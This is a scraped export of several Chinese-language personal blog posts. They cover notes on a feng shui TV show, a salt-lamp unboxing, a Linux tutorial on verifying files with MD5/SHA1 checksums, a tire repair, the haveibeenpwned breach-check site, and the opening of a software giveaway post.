鏡子不可以照門、照床或是互相對照。若鏡子對到門可能會產生類似鬥口煞的問題，容易吵架，而吵完之後由於鏡子的因素，當事人可能在事後還是會重複回想當時的狀況。\n屋主在裝潢時外推搭建一個前陽台，陽台與客廳之間在地板上有用顏色與高度做區隔，這樣很不錯，但是因為前陽台底下是懸空的空間，在下方懸空的情況下，就要再做第三個補強，稱為氣場的區隔，也就是沿著前陽台的周圍鋪上 36 枚五帝錢，藉以化解外推處地氣不足的問題。\n早期屋子的正前方是眷村的矮房，視野很好，當時大門改方向之後運勢很好，但是後來前方的眷村改建成大樓，形成了凹風煞，就影響了運勢。\n凹風煞容易使人精神不濟或血光之災，宜擺放風獅爺或山海鎮來化解。\n進門的斜前方 45 度沒有一個 90 度的角落，財位見空，無法聚集財氣。\n前陽台的窗戶通過房間的門直接貫穿到後方，前陽台與房間形成穿堂風，易導致漏財，也就是說住在那一間房間的人特別會漏財。\n建議將客廳明財位的地方把放一道屏風或是櫃子，不僅可以形成財位，更可以阻擋穿堂風。\n房間 房子的門代表嘴巴，而樓梯則代表舌頭，如果房門正對樓梯就代表容易產生口舌之爭的問題，而鏡子的效果跟門類似，也不可以照到樓梯。\n床盡量要穩定踏實，下方不要有太大的空間，若床底下完全懸空，容易造成沒有安全感。\n睡覺的床底下不可以放置娃娃，因為娃娃通常就是一個小的人形玩具，避免犯小人的問題。\n某間房間的門有經過特殊設計，門中間有小塊方形的毛玻璃，讓人可以隱約看見門後方的東西（透光），但這樣反而容易讓人潛意識不安定，建議可以用貼紙把透光的毛玻璃貼起來化解。\n廚房 以前家中傳統燒柴火的爐灶，都有一個放柴火的洞口，如果這個洞口對正對門，風一灌進去的時候會很容易造成危險，所以傳統上灶後不可以有門。\n現代瓦斯爐點火的開關就對應了傳統爐灶洞口的位置，瓦斯爐（灶）後方有門，容易犯小人，對女主人健康也會有影響。\n凡是有「沖」或「切」的情況，都容易使人受傷。廚房與後陽台剛好被一條巷子沖到，容易犯小人以及血光。\n窗戶上的反光玻璃若照射到爐灶，容易使火氣過旺而影響情緒以及健康。\n高壓電塔的形狀感覺上就像一隻蜈蚣有好多的腳，居家的正後方有一座高壓電塔，就形成蜈蚣煞，雖然距離很遠，但是由於位置剛好在巷沖的正後方，所以影響會變大，容易影響腸胃健康。\n居家屋後有蜈蚣煞與巷沖，遇到這樣多種煞氣的狀況，可以使用山海鎮或乾坤太極圖化解。\n屋主在整修房屋時，把廚房搭建在主建物之外（外推出去），造成廚房下方是懸空的，代表財庫懸空在外，容易造成本地工作機會變少，賺錢需要往外地發展、出外求食的狀況，比較辛苦一些。建議可以將爐灶移到原本廚房的範圍（不要懸空在外），這樣出外求食的情況就會慢慢改善，或是在外推處鋪上 36 枚五帝錢提升地氣。\n主臥室 主臥室的格局上沒有問題，只是目前家中的小孩子已經長大了，而父母的主臥室還是位於房子的前段，建議在小孩子在成年之後，房屋的前段的房間可以讓小孩來說，讓小孩子承擔責任出外衝刺事業。\n","permalink":"https://blog.gtwang.org/metaphysics/feng-shui-is-important-20160402/","summary":"\u003cp\u003e這一篇是我看緯來綜合台\u003ca href=\"https://www.youtube.com/watch?v=1blt0_5uieY\u0026amp;list=PLLNDBMateLV2vnt7RO-npQJMFwluGn65n\"\u003e風水有關係 2016/04/02\u003c/a\u003e 這一集的個人筆記。\u003c/p\u003e\n\u003cp\u003e屋主的房子過去因為經濟狀況不佳，房子被法院拍賣，後來有能力之後，又再次將房子買回，目前的屋齡大約三十幾年，房子買回來之後在三年前有重新整修過，但是搬進來之後，事業開始走下坡，兒女也有許多狀況。\u003c/p\u003e","title":"風水有關係：謝沅瑾老師，凹風煞、巷沖、蜈蚣煞 2016/04/02 筆記"},{"content":"這一篇是我看緯來綜合台風水有關係 2016/05/29 這一集的個人筆記。\n屋主經營飲料店，營業額年年下滑，工作時頻頻發生意外，大傷、小傷不斷，而屋主家中雜物堆積如山，甚至房間的雜物已經堆到滿出來、無法走進去的程度。神桌與祖先牌位也有非常大的問題。\n這是這一集的房屋格局資料：\n物件：公寓 格局：3 房 1 廳 坪數：25 坪 居住時間：30 年 風水需求：事業、財運 客廳與陽台 客廳的雜物堆積如山，對運勢會有影響，最好將雜物清除。前陽台的話可以用和室地板的方式墊高，或是用地毯的方式鋪在初戶旁，與客廳做一個明顯區隔，創造一個前陽台空間，陽台周圍可以放置 36 枚五帝錢（放在和室或地毯下方）提升氣場。\n睡覺時不可以腳朝門外，因為一般人要回去的時候，會放在客廳，男左女右腳朝門外，所以睡覺不可以這樣睡。\n若家中有放天公爐，要放在高一點的位置，而且不可以放在會震動的平台上（如冷氣機），如果讓爐放在冷氣機上面一直振動，就象徵家運起伏不定。\n神桌與祖先牌位 祖先不管是哪一代，都會保佑後代的子孫，不可以只留近代的祖先，捨棄之前的。\n屋主家中只有拜神明，沒有祖先牌位。若家中不方便放置祖先牌位，可以移至寺廟中供奉，若隨意損毀、破壞祖先牌位會對家中的運勢造成很嚴重的影響。\n若真的家中沒有祖先牌位，可以在拜完神明之後，使用呼請的方式，呼喊祖先的名字來祭祀歷代祖先。\n由於神獸的位階低於一般的神明，所以神獸不宜跟神明一起擺放在神桌上，可以放在角落的財位上比較適宜，而神明的坐騎則例外，也就是神明自己坐的神獸，如果神明坐在神獸上就可以一起放在神桌上，例如五路財神坐的黑老虎、太上老君坐的青牛。\n一般的神獸（例如金雞母、貔貅等）可以供水、米等，但是沒有另外上香的。\n神桌上頂多只能放置收敬茶的水壺，不可以放置空的碗。另外在神桌上擺放植物時，宜放置於花瓶中，並且左右要對稱，避免男女不平衡，如果龍邊比較旺就代表男生比較旺，反之虎邊比較旺就代表女生比較旺。\n香爐裡沾硃砂的文筆與鏡子有提昇家人智慧與避邪的功效。香爐不可以太貼近神像，要留適當的距離。\n神桌下方宜保持乾淨整潔，避免影響家人出外發展以及運勢。\n神桌的龍邊怕臭、虎邊怕吵，如果虎邊太吵會逼虎傷人，容易造成血光之災，想電視、喇叭等有聲音的東西都不適合放在神桌的虎邊，若虎邊又遇到有插電的電氣用品，影響又更大。\n紙折的蓮花通常是用來燒給往生者祈福用的，宜盡早化掉或收納起來，不要長期放在家裡，避免造成影響。\n一般外面的神明通常會定期更換衣服，而信眾可以把換下來的衣服請回來，表框之後掛在家裡公共空間保平安，或是放至於主神龍邊祭拜，但是記得安置的時候，高度不可以比主神的位置還要高，避免導致神明喧賓奪主影響家運。\n房間 年輕人（16 歲以上、60 歲以下）的房間若位於神桌後方，容易影響思考邏輯與感情桃花，化解的方式是在神桌與後方房間之間隔出一個儲藏室，以緩和神明桌對房間主人所造成的影響。\n門沖床頭容易影響睡眠品質，使人沒有安全感，精神思緒混亂。\n冷氣對臉吹，易影響呼吸系統健康。\n床位正上方若有直的燈管會形成燈刀，易造成主人有血光或是生病開刀。通常房間床上方的燈比較少用這種燈管。\n若果要把直的燈管拆掉，建議也將天花板稍微粉刷一下，讓原本裝燈管的痕跡可以消除，避免那個燈管的形狀造成影響。\n","permalink":"https://blog.gtwang.org/metaphysics/feng-shui-is-important-20160529/","summary":"\u003cp\u003e這一篇是我看緯來綜合台\u003ca href=\"https://www.youtube.com/watch?v=oBMYRaSUNN0\"\u003e風水有關係 2016/05/29\u003c/a\u003e 這一集的個人筆記。\u003c/p\u003e\n\u003cp\u003e屋主經營飲料店，營業額年年下滑，工作時頻頻發生意外，大傷、小傷不斷，而屋主家中雜物堆積如山，甚至房間的雜物已經堆到滿出來、無法走進去的程度。神桌與祖先牌位也有非常大的問題。\u003c/p\u003e","title":"風水有關係：謝沅瑾老師，家中雜物堆積如山 2016/05/29 筆記"},{"content":"這一篇是我看緯來綜合台風水有關係 2015/04/05 這一集的個人筆記。\n這是這一集的房屋格局資料：\n物件：公寓自宅 格局：3 房 1 廳 2 衛 坪數：26 坪 居住時間：半年 風水需求：事業、健康 這個屋主原本在網路上賣鳳梨酥，生意不錯，但是自從搬了新家之後，就開始不順，身體健康與事業上都出現問題。\n前陽台 前陽台代表前院，早期三合院的院子就象徵工作飯碗的大小，稻埕有多大，家中的財庫就有多少。\n這間屋子是用早期的舊公寓翻新的，原本的前陽台很大，進門之後是先進到很寬敞的前陽台，接著才是客廳的門，而屋主將舊公寓翻新，陽台外推，造成沒有前陽台，前途事業容易產生阻礙。\n屋前電線桿 屋前室外景象代表主人前途、遠景，屋前開窗正對電線桿，而且還有很多很粗的纜線交錯檔在視線範圍內，當電線桿出現在房子的直線範圍裡頭，左邊代表影響男生，右邊代表影響女生，要注意手術、開刀、車禍、血光意外等。\n平面鏡 對面住家因為要阻擋電線桿造成的影響，在門口掛了一個普通的小鏡子，將煞氣反射，剛好對到這間房子，所以電線桿的問題會變更嚴重，事業發展與身體健康上面可能容易有些問題。\n以前的房子因為每一戶之間的距離很遠，所以安裝鏡子反射出去不容易會照到別人的房子，但現在都市裡的房子若使用平面鏡就容易照到別人的房子，影響別人，而八卦鏡又比平面鏡的影響更嚴重。\n若對面有住戶時，不建議使用鏡面類的化煞物品，宜用乾坤太極圖或山海鎮，化解外在煞氣或是鏡面反射的煞氣，這樣既可以化解煞氣，也不會影響到鄰居，皆大圓滿。\n乾坤太極圖或山海鎮是否要開光？ 許多人都會有一個疑問，乾坤太極圖或山海鎮在購買之後，是否要開光？謝老師教大家一個最簡單的方式，就是將乾坤太極圖或山海鎮拿到寺廟（陽廟）過香爐，在主爐上以順時針方向過火三圈，記得這類物品的鏡面在過火時要常上方，不可以照到神明。在過火前記得要向神明清楚稟報自己的姓名、地址（住的地方）、遇到什麼問題，祈求神明保佑家裡平安。將乾坤太極圖或山海鎮過火之後，拿回家自己掛上去就可以了。\n聚寶盆 屋主在玄關的地方放置一對貔貅咬五帝錢，前面有供水，後面還有一個聚寶盆，貔貅的放置方式沒問題，不過聚寶盆應該放在房子比較裡面的角落，避免錢財露白。\n財位 房子的明財位位於大門的 45 度斜對角，但這裡剛好是一個門，後方是走道，所以主要的財位是空的，而這時候可以使用右方的那個次財位，將聚寶盆放在次財位這邊。亦可擺放水晶洞等聚財、聚氣的擺飾。\n做生意的人，也可以把自己的商品（包裝）放在財位上面，提升買氣。\n鹽燈 在古代鹽燈又稱為鹽山，有鎮宅避邪的功能，放在玄關可以阻擋大門進來的煞氣，也可以放在財位上或者是有煞氣的地方。\n門切床 房間兩個門都切到床，房間門切到床角，廁所門正對床頭，呼吸道方面容易有問題，靠廁所睡的人影響最大。懸掛門簾可以改善，但門簾要以整片的為宜，長度要超過膝蓋，以阻隔晦氣。\n不宜同床生肖 正沖代表想法觀念上面不合，容易產生爭執。六害代表損財，容易在錢財上造成損耗。\n正沖 六害 鼠、馬 鼠、羊 牛、羊 牛、馬 虎、猴 虎、蛇 兔、雞 兔、龍 龍、狗 猴、豬 蛇、豬 雞、狗 相關的口訣：「從來白馬犯青牛，羊鼠相逢一旦休，蛇見猛虎如刀短，金雞見犬淚交流，龍見兔兒云端去，豬和猿猴不到頭」。\n小孩房間 屋子內部靠近前方馬路的房間，宜給哥哥、姊姊睡，可增強責任感，照顧弟弟或妹妹。\n房間門出去剛好切到廁所的門，切在左邊（龍邊）影響男生，切在右邊（虎邊）影響女生。這裡的廁所切房門虎邊，不適合讓女性居住，\n所以這個房間若給男生睡，影響就比較不大，若是給女生睡，就會影響身體健康。\n床的擺放後方宜為實牆（不可以開門、開窗），盡量把們或通道安排在左右斜前方 45 度的位置（不要切到床），以掌握動線為原則。\n天花板宜平整，不要凹凸不平。房間若不方正（畸零地），宜作儲藏空間以補平缺角。\n書桌可以擺放在剛進門的位置，小朋友的書桌宜面向牆壁。若小孩的書桌背後有實牆，容易造成安逸懶散，但也應避免背對門或門沖，造成分心。\n財庫 從大門走進來，最內側的房間內，最內側的角落就是財庫，財庫的位置跟財位一樣，在雙臂張開的寬度範圍之內，不要開門或開窗。\n財庫的位置如果擺設太雜亂，代表主人在賺錢的時候雜事會特別多。這間房子的財庫剛好是作為小孩子的玩具間，老師建議可以將小孩的玩具間換到另一個空房間，然後這間財庫的房間要多多運用。\n廚房 瓦斯爐不要對到門，不管是後面或側邊都不行，門沖爐灶易造成漏財。以科學角度來說，如果開門正墮瓦斯爐，風容易把瓦斯爐的火吹散，造成燃燒不完全。萬一廚房發生門沖灶，可以加裝隔板化解爐灶外露。\n若從房子大門可以直接看到爐灶，代表明漏財（明顯知道自己的錢怎麼花掉），而若後門正對爐灶，則代表暗漏財（不知不覺就把錢花掉）。\n洗衣機後方水管的入水口正對爐灶，造成水火正沖，易導致意外與爛桃花。\n","permalink":"https://blog.gtwang.org/metaphysics/feng-shui-is-important-20150405/","summary":"\u003cp\u003e這一篇是我看緯來綜合台\u003ca href=\"https://www.youtube.com/watch?v=w2ICbv0wTx8\"\u003e風水有關係 2015/04/05\u003c/a\u003e 這一集的個人筆記。\u003c/p\u003e\n\u003cp\u003e這是這一集的房屋格局資料：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e物件：公寓自宅\u003c/li\u003e\n\u003cli\u003e格局：3 房 1 廳 2 衛\u003c/li\u003e\n\u003cli\u003e坪數：26 坪\u003c/li\u003e\n\u003cli\u003e居住時間：半年\u003c/li\u003e\n\u003cli\u003e風水需求：事業、健康\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"風水有關係：謝沅瑾老師，屋前電線桿、門切床、門沖灶、水火正沖 2015/04/05 筆記"},{"content":"最近買了兩個鹽燈，順便拍照記錄一下，寫得簡單的開箱文。\n我以前從來沒有買過鹽燈，只是看到鹽燈擺放起來很漂亮，而且價格也非常便宜，所以就想買來試用看看，我看了 PCHome 的鹽燈價格都不是很滿意，而 momo 購物網上面的鹽燈價格比較便宜一點，所以就選了兩個特價的小鹽燈，一個重量是 34kg，另一個重量是 23kg，兩個加起來才 510 元，我想就算不合用也不會損失太大。\nmomo 購物網的出貨速度跟 PCHome 差不多，我訂購這個鹽燈之後，隔天就送到了。\n打開箱子之後，裡面有厚厚的氣泡袋包裝，很不錯。\n這次我除了買兩組鹽燈（左）之外，還有順便買了一對黃玉貔貅的擺飾（右），而貔貅我就不介紹了。\n打開鹽燈的外包裝盒，裡面還有自己的氣泡袋。首先看到的是鹽燈的電源線。\n下方就是兩個鹽燈。\n這就是兩組鹽燈。\n鹽燈其實就是整塊的玫瑰岩鹽配上燈泡組成的，這個鹽礦產自喜馬拉雅山，從巴基斯坦進口。剛買來的時候鹽燈上面會有一層塑膠膜，若沒有要馬上使用，就不要將塑膠膜拆掉，否則岩鹽放在空氣中會潮解（融化）。\n這是鹽燈的電源線、燈座與燈泡，由於這款是很便宜的鹽燈，電源線只有附開關，有些比較高級一點的鹽燈還有可以調整亮度的旋鈕。\n鹽燈底部有一個洞，使用時就將燈泡裝在燈座上之後，直接放進去就可以了。\n兩三公斤大小的鹽燈我感覺放在書桌上大小剛好。\n自然型的鹽燈每個形狀都不太相同，另外也有其他造型的鹽燈可以選擇。\n這是我拿回家後，放在家裡書桌上的樣子。\n它的亮度如果放在房間的話，可以直接作為小夜燈使用。\n買了這個鹽燈之後，使用起來感覺很滿意，放在房間的書桌上看起來真的很漂亮。\n","permalink":"https://blog.gtwang.org/unboxing/kui-you-salt-lamps/","summary":"\u003cp\u003e最近買了兩個鹽燈，順便拍照記錄一下，寫得簡單的開箱文。\u003c/p\u003e\n\u003cp\u003e我以前從來沒有買過鹽燈，只是看到鹽燈擺放起來很漂亮，而且價格也非常便宜，所以就想買來試用看看，我看了 PCHome 的鹽燈價格都不是很滿意，而 momo 購物網上面的鹽燈價格比較便宜一點，所以就選了兩個特價的小鹽燈，一個重量是 3\u003cdel\u003e4kg，另一個重量是 2\u003c/del\u003e3kg，兩個加起來才 510 元，我想就算不合用也不會損失太大。\u003c/p\u003e","title":"[開箱] 馗佑自然型玫瑰鹽燈，居家辦公開運擺飾"},{"content":"這裡教大家如何在 Linux 系統上面產生 MD5 與 SHA1 校驗碼，驗證檔案是否有損毀或遭到竄改。\n校驗碼（checksum，或譯為驗證碼，或稱為 hash code）是用來驗證檔案正確性的一種機制，它的做法是在檔案要經過網路傳輸、備份儲存等過程之前，利用一些特別設計的演算法依據檔案的內容算出一組驗證專用的編碼，這種校驗碼有一個特性就是當檔案發生微小的變動時，產生出來的校驗碼會完全不同，我們可以在檔案經過網路傳輸或備份回復之後，重新計算一次校驗碼，在跟之前的校驗碼做比較，如果校驗碼完全一致則代表檔案的內容完全沒有改變，靠著這樣的方式確保檔案沒有損毀或遭到竄改。\n用來產生校驗碼的演算法有很多種，而比較常用的就是 MD5 與 SHA1 這兩種，以下分別介紹這兩種校驗碼的使用方式。\nMD5 MD5 校驗碼是依據檔案內容所產生的一個編碼，而其長度固定都是 128 位元，通常兩個不同的檔案很難產生相同的 MD5 校驗碼，所以很適合用來檢查檔案的正確性，屬於最普遍被使用的校驗碼之一，例如各個 Linux 網站提供給使用者下載的 ISO 映像檔一定會附帶 MD5 的校驗碼。\n如果在 Linux 系統中想要產生檔案的 MD5 校驗碼，可以使用 md5sum 這個指令，首先我們使用 date 建立一個測試的檔案內容：\n# 建立測試檔案 date \u0026gt; date.txt 這樣產生的 date.txt 檔案就會是目前的時間，類似這樣：\nThu Oct 13 16:31:42 CST 2016 而若要產生 date.txt 這個檔案的 MD5 校驗碼，則執行：\n# 計算 MD5 校驗碼 md5sum date.txt 輸出為\n6603209b532e4aa6f8e44df37d99a61e date.txt 如果我們馬上再產生一個新的 date.txt，並且對新的檔案再產生一次 MD5 校驗碼，會發現產生的 MD5 校驗碼完全不同：\n# 重新建立測試檔案，並計算 MD5 校驗碼 date \u0026gt; date.txt md5sum date.txt 1e53719b6fef60fbb7663b2b890111b0 date.txt 縱使兩個檔案之間的差異非常微小，產生出來的 MD5 校驗碼也會完全不一樣，所以使用者可以一眼就辨識出兩個檔案是有差異的。\n若要一次對多個檔案產生 MD5 校驗碼，可以將所有的檔案放在 md5sum 的參數列中：\n# 計算多個檔案 MD5 校驗碼 md5sum date1.txt date2.txt date3.txt c1fa0dfbd869b01995b0818e4d176011 date1.txt 5f6a6c6f121351a1b7f33a2372df9932 date2.txt c170b6cd45b9f2a2ff580c4837e5bb8a date3.txt MD5 校驗碼是根據檔案內容來計算的，與檔案的名稱無關，也就是說兩個檔案如果名稱不同，但內容相同，還是會產生相同的 MD5 校驗碼：\n# 複製檔案 cp date.txt date-copy.txt # 計算 MD5 校驗碼 md5sum date.txt date-copy.txt 1e53719b6fef60fbb7663b2b890111b0 date.txt 1e53719b6fef60fbb7663b2b890111b0 date-copy.txt 通常在準備要透過網路傳送檔案或是要將檔案複製到其他儲存媒體之前，為了保險起見我們可以先產生每個檔案的 MD5 校驗碼並且儲存起來：\n# 計算 MD5 校驗碼並儲存至檔案 md5sum date1.txt date2.txt date3.txt \u0026gt; date.md5sum 然後在透過網路傳輸或複製到其他的儲存媒體之後，再算一次檔案的 MD5 校驗碼，並且跟 date.md5sum 的內容做比對。md5sum 有提供一個 -c 的檢查用參數可以自動進行檔案的 MD5 校驗碼比對：\n# 驗證 MD5 校驗碼 md5sum -c date.md5sum date1.txt: OK date2.txt: OK date3.txt: OK 當然如果要自行手動計算與比對 MD5 校驗碼也可以。\n另外 md5sum 也跟一般的 Linux 工具類似，可以從標準輸入讀取資料來計算 MD5 校驗碼：\n# 從標準輸入計算 MD5 校驗碼 date | md5sum - 2f1791c1293065da3dbd282ecf522610 - SHA1 SHA1 校驗碼與 MD5 非常類似，不過由於後來 MD5 有一些碰撞（collision）問題，所以後來許多人會改用 SHA1 這個 160 位元的校驗碼，但對於資料的正確性驗證上，不管是使用 MD5 或 SHA1 都可以。\nSHA1 校驗碼可以使用 sha1sum 這個指令來產生：\n# 計算 SHA1 校驗碼 sha1sum date.txt f679936a25f69b5cb4bc6c862b87c30ba4fce6ec date.txt 一次產生多個檔案的 SHA1 校驗碼：\n# 計算多個檔案 SHA1 校驗碼 sha1sum date1.txt date2.txt date3.txt fb9249f09b589241e3556ff6b6fab5f80015ed5c date1.txt 40e691d0d06673c9d5bc31aececafac85a9011be date2.txt a428582cace49024d5964bac8ab71d00b191b9fa date3.txt SHA1 校驗碼同樣只依據檔案內容來計算，與檔名無關：\n# 計算多個檔案 SHA1 校驗碼 sha1sum date.txt date-copy.txt f679936a25f69b5cb4bc6c862b87c30ba4fce6ec date.txt f679936a25f69b5cb4bc6c862b87c30ba4fce6ec date-copy.txt 驗證檔案的 SHA1 校驗碼時，也可以使用 -c 參數：\n# 計算 SHA1 校驗碼並儲存至檔案 sha1sum date1.txt date2.txt date3.txt \u0026gt; date.sha1sum # 驗證 SHA1 校驗碼 sha1sum -c date.sha1sum date1.txt: OK date2.txt: OK date3.txt: OK 驗證 Linux ISO 映像檔 我們以 Ubuntu Linux 16.04 的 iso 映像檔為例，在 Ubuntu 官方網站上除了提供 iso 的檔案之外，也同時會有 MD5 與 SHA1 的校驗碼。\nMD5SUMS 這個檔案裡面就包含了每個 iso 映像檔的 MD5 校驗碼，內容如下：\nc94d54942a2954cf852884d656224186 *ubuntu-16.04-desktop-amd64.iso 610c4a399df39a78866f9236b8c658da *ubuntu-16.04-desktop-i386.iso 23e97cd5d4145d4105fbf29878534049 *ubuntu-16.04-server-amd64.img 23e97cd5d4145d4105fbf29878534049 *ubuntu-16.04-server-amd64.iso 494c03028524dff2de5c41a800674692 *ubuntu-16.04-server-i386.img 494c03028524dff2de5c41a800674692 *ubuntu-16.04-server-i386.iso 17643c29e3c4609818f26becf76d29a3 *ubuntu-16.04.1-desktop-amd64.iso 9e4e30c37c99b4e029b4bfc2ee93eec2 *ubuntu-16.04.1-desktop-i386.iso d2d939ca0e65816790375f6826e4032f *ubuntu-16.04.1-server-amd64.img d2d939ca0e65816790375f6826e4032f *ubuntu-16.04.1-server-amd64.iso 455206c599c25d6a576ba23ca906741a *ubuntu-16.04.1-server-i386.img 455206c599c25d6a576ba23ca906741a *ubuntu-16.04.1-server-i386.iso 通常我們在 iso 檔案下載完成後，會先進行 MD5 校驗碼的檢查，看看算出來的校驗碼是否跟官方所提供的相同，確認檔案在網路傳輸過程中沒有損壞。\n# 計算 MD5 校驗碼 md5sum ubuntu-16.04-desktop-amd64.iso 輸出為：\nc94d54942a2954cf852884d656224186 ubuntu-16.04-desktop-amd64.iso 除了 MD5 之外，也可以使用 SHA1 校驗碼來檢查，這是 SHA1SUMS 的檔案內容：\n83a60e1cc28068534b3e4f2f2c9881bb32cbfb74 *ubuntu-16.04-desktop-amd64.iso c83771554a470f1a79dfd1792856b857b6020f4f *ubuntu-16.04-desktop-i386.iso 70db69379816b91eb01559212ae474a36ecec9ef *ubuntu-16.04-server-amd64.img 70db69379816b91eb01559212ae474a36ecec9ef *ubuntu-16.04-server-amd64.iso 4fe67511901a8e1b662aabdfe37c06b5003cb150 *ubuntu-16.04-server-i386.img 4fe67511901a8e1b662aabdfe37c06b5003cb150 *ubuntu-16.04-server-i386.iso 805337c2c3a00ac9b4a59a5c9692903ad30fe3ce *ubuntu-16.04.1-desktop-amd64.iso 0e1a52ceb4c683bec25e4f808c3027daf476f48a *ubuntu-16.04.1-desktop-i386.iso de5ee8665048f009577763efbf4a6f0558833e59 *ubuntu-16.04.1-server-amd64.img de5ee8665048f009577763efbf4a6f0558833e59 *ubuntu-16.04.1-server-amd64.iso 96f97db886f7b6ad1e2fba96d395af70020cb9c8 *ubuntu-16.04.1-server-i386.img 96f97db886f7b6ad1e2fba96d395af70020cb9c8 *ubuntu-16.04.1-server-i386.iso 計算 iso 檔案的 SHA1 校驗碼：\n# 計算 SHA1 校驗碼 sha1sum ubuntu-16.04-desktop-amd64.iso 83a60e1cc28068534b3e4f2f2c9881bb32cbfb74 ubuntu-16.04-desktop-amd64.iso 在 Ubuntu 的官方網站上還有提供 SHA256 的校驗碼，這種校驗碼的安全性又更高一些，使用方式也都跟 MD5 與 SHA1 類似，只不過是改用 sha256sum 這個指令而已：\n# 計算 SHA256 校驗碼 sha256sum ubuntu-16.04-desktop-amd64.iso 4bcec83ef856c50c6866f3b0f3942e011104b5ecc6d955d1e7061faff86070d4 ubuntu-16.04-desktop-amd64.iso 參考資料 Tecmint 葉難 Ubuntu ","permalink":"https://blog.gtwang.org/linux/generate-verify-check-files-md5-sha1-checksum-linux/","summary":"\u003cp\u003e這裡教大家如何在 Linux 系統上面產生 MD5 與 SHA1 校驗碼，驗證檔案是否有損毀或遭到竄改。\u003c/p\u003e\n\u003cp\u003e校驗碼（checksum，或譯為驗證碼，或稱為 hash code）是用來驗證檔案正確性的一種機制，它的做法是在檔案要經過網路傳輸、備份儲存等過程之前，利用一些特別設計的演算法依據檔案的內容算出一組驗證專用的編碼，這種校驗碼有一個特性就是當檔案發生微小的變動時，產生出來的校驗碼會完全不同，我們可以在檔案經過網路傳輸或備份回復之後，重新計算一次校驗碼，在跟之前的校驗碼做比較，如果校驗碼完全一致則代表檔案的內容完全沒有改變，靠著這樣的方式確保檔案沒有損毀或遭到竄改。\u003c/p\u003e","title":"Linux 產生 MD5 與 SHA1 校驗碼 Checksum 使用教學，檢查檔案是否損毀"},{"content":"這篇是我今天到新市尚鴻輪胎保養廠補胎的紀錄文章。\n今天早上開車上班時左後輪被一顆螺絲刺到，在開車時從駕駛座就可以隱約聽到螺絲撞擊地面的聲音，下車之後吐一口口水塗在輪胎上檢查，結果發現真的有在漏氣，所以只好馬上找附近的輪胎行。\n新市其實有好多家汽車保養廠，不過我的輪胎被刺到的時候，是早上七點多，要找到比較早開門的保養廠不太容易，這家新市的米其林輪胎尚鴻店早上八點整救開門了，所以就直接開過去了。\n這家米其林輪胎在光華街上，如果從南科過去的話，會經過平交道，距離省道很近。\n這是保養廠門口。\n輪胎被刺到的話，一般就是先拆下來補胎。\n輪胎被拆下來的樣子。\n接著把刺在輪胎上的螺絲拔下來之後，用補胎條補胎。\n補好輪胎之後再裝回去，這樣就完成了。不過這次我的輪胎被刺到比較靠近旁邊的位置，很靠近胎壁，修車師傅說這個位置鋼絲強度較弱，補胎完若還是會漏的話，就要直接換輪胎了。\n這家保養廠也是國民旅遊卡特約商店。\n店名：米其林輪胎尚鴻店\n地址：台南市新市區光華街 28 號\n電話：(06) 599-1572\n營業時間：8：00 ～ 18：30（週六、週日公休）\n","permalink":"https://blog.gtwang.org/life/fix-the-tire-in-xinshi-tainan/","summary":"\u003cp\u003e這篇是我今天到新市尚鴻輪胎保養廠補胎的紀錄文章。\u003c/p\u003e\n\u003cp\u003e今天早上開車上班時左後輪被一顆螺絲刺到，在開車時從駕駛座就可以隱約聽到螺絲撞擊地面的聲音，下車之後吐一口口水塗在輪胎上檢查，結果發現真的有在漏氣，所以只好馬上找附近的輪胎行。\u003c/p\u003e","title":"新市米其林輪胎尚鴻店，近南科汽車補胎保養廠"},{"content":"haveibeenpwned 是一個可以檢測自己的帳號或 Email 是否被駭客竊取過的線上工具，如果您發現自己的帳號被盜，請立即更改密碼。\n最近 Motherboard 的報導指出，因為一名 Dropbox 員工的帳號被駭，導致多達 6800 萬組的 Dropbox 帳戶資料外洩，若想要確認自己的 Dropbox 帳戶是否安全，可以立即使用 haveibeenpwned 這個線上工具來檢查。\n名稱：haveibeenpwned 帳號安全檢測工具\n網址：https://haveibeenpwned.com/\nStep 1\n這是 haveibeenpwned 檢測工具的頁面，只要輸入自己的帳號或 Email，並按下右方的「powned?」按鈕即可查詢。\nStep 2\n如果檢查的結果出現紅色的背景顏色，顯示「Oh no \u0026ndash; pwned!」的訊息，就表示您的帳號已經被駭客竊取過了。\nStep 3\n被竊取的帳號會列在下方的報表中，如果看到類似這樣的畫面，請立即將這些帳號的密碼重新設定！避免自己的帳號持續暴露在高風險當中。\n帳號密碼被駭客竊取並不代表自己的資料完全外洩，運氣好的話改個密碼就可以了，不過如果您習慣在多個雲端服務都使用相同的帳號密碼，而這個常用的密碼又外洩了，那建議是將所有使用這組密碼的服務都重新設定密碼。\nhaveibeenpwned 這個檢測工具的資料庫收錄了非常大量的帳號外洩資訊，許多知名的雲端服務都可以在這裡查的到，例如 MySpace、LinkedIn、Yahoo、Adobe、Badoo、VK、tumblr、iMesh、last.fm 等數百個網站。\n如果您檢測的結果是呈現綠色的背景，顯示「Good news \u0026ndash; no pwnage found!」的訊息，則代表您的帳號目前是安全的。\n參考資料 自由時報 iThome ","permalink":"https://blog.gtwang.org/useful-tools/haveibeenpwned/","summary":"\u003cp\u003ehaveibeenpwned 是一個可以檢測自己的帳號或 Email 是否被駭客竊取過的線上工具，如果您發現自己的帳號被盜，請立即更改密碼。\u003c/p\u003e\n\u003cp\u003e最近 Motherboard 的報導指出，因為一名 Dropbox 員工的帳號被駭，導致多達 6800 萬組的 Dropbox 帳戶資料外洩，若想要確認自己的 Dropbox 帳戶是否安全，可以立即使用 haveibeenpwned 這個線上工具來檢查。\u003c/p\u003e","title":"haveibeenpwned：檢測帳號或 Email 是否已被駭客竊取的工具"},{"content":"Disk Drill 是一套多功能的檔案救援軟體，除了可以救回刪除的檔案，還可以找出硬碟中重複的檔案、備份檔案以及清理磁碟垃圾等。\n最近我收到 Disk Drill 官方的軟體測試邀請函，他們提供 5 套免費的 Disk Drill PRO 的 Windows 版軟體授權，還有 75 折的優惠網址，贈送給 G. T. Wang 網站的讀者。\n至於 5 套免費的 Disk Drill PRO 的 Windows 版軟體授權，我放在 G. T. Wang 的 facebook 粉絲專頁進行抽獎活動，只要在 10 月 31 日以前，留言加分享即可參加抽獎。\n以下是 